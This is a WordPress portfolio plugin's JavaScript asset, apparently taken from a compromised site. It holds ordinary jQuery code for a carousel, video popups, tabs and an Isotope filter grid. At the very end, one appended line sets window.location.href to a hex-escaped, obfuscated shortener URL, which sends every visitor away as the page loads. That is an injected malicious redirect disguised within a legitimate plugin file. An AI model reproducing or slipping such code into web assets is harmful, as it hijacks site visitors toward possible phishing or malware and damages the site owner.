File: //proc/self/root/home/parhudrw/dnd.com/dnd/wp-content/plugins/swp-portfolio/assets/js/swp-main.js
; (function ($) {
"use strict";
$(document).ready(function () {
/*------------------------------------------------
portfolio single page slider
------------------------------------------------*/
$('.swp-portfolio-single-slider').owlCarousel({
loop: true,
nav: true,
dots: false,
smartSpeed:1500,
items: 1,
});
/* -------------------------------------------------
Magnific JS Video
------------------------------------------------- */
$('.swp-video-play-btn').magnificPopup({
type: 'iframe',
removalDelay: 260,
mainClass: 'mfp-zoom-in',
gallery:{
enabled:true
},
});
$.extend(true, $.magnificPopup.defaults, {
iframe: {
patterns: {
youtube: {
index: 'youtube.com/',
id: function(url) {
var m = url.match(/[\\?\\&]v=([^\\?\\&]+)/);
if ( !m || !m[1] ) return null;
return m[1];
},
src: '//www.youtube.com/embed/%id%?autoplay=1'
}
}
}
});
$('.swp-tab-menu li a').on('click', function(){
var target = $(this).attr('data-rel');
$('.swp-tab-menu li a').removeClass('active');
$(this).addClass('active');
$("#"+target).fadeIn('slow').siblings(".swp-tab-box").hide();
return false;
});
/* -------------------------------------------------------------
swp isotope
------------------------------------------------------------- */
if ($(".swp-isotope").length) {
var filterArea = $(".portfolio-area");
filterArea.each(function () {
var filterAreaId = $(this).data("filter-section");
var Self = $(this);
Self.find( '.swp-isotope' ).addClass( filterAreaId );
var $galleryFilterArea = $( '.'+filterAreaId );
//button
Self.find( '.isotope-filters' ).addClass( 'swp'+filterAreaId );
var $galleryFilterMenu = $( '.swp'+filterAreaId);
/*Filter*/
$galleryFilterMenu.on( 'click', 'button, a', function() {
var $this = $(this),
$filterValue = $this.attr('data-filter');
$galleryFilterMenu.find('button, a').removeClass('active');
$this.addClass('active');
$galleryFilterArea.isotope({ filter: $filterValue });
});
/*Grid*/
$galleryFilterArea.each(function(){
var $this = $(this),
$galleryFilterItem = '.swp-item';
$this.imagesLoaded( function() {
$this.isotope({
itemSelector: $galleryFilterItem,
percentPosition: true,
masonry: {
columnWidth: '.swp-sizer',
}
});
});
});
});
}
});
})(jQuery);
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";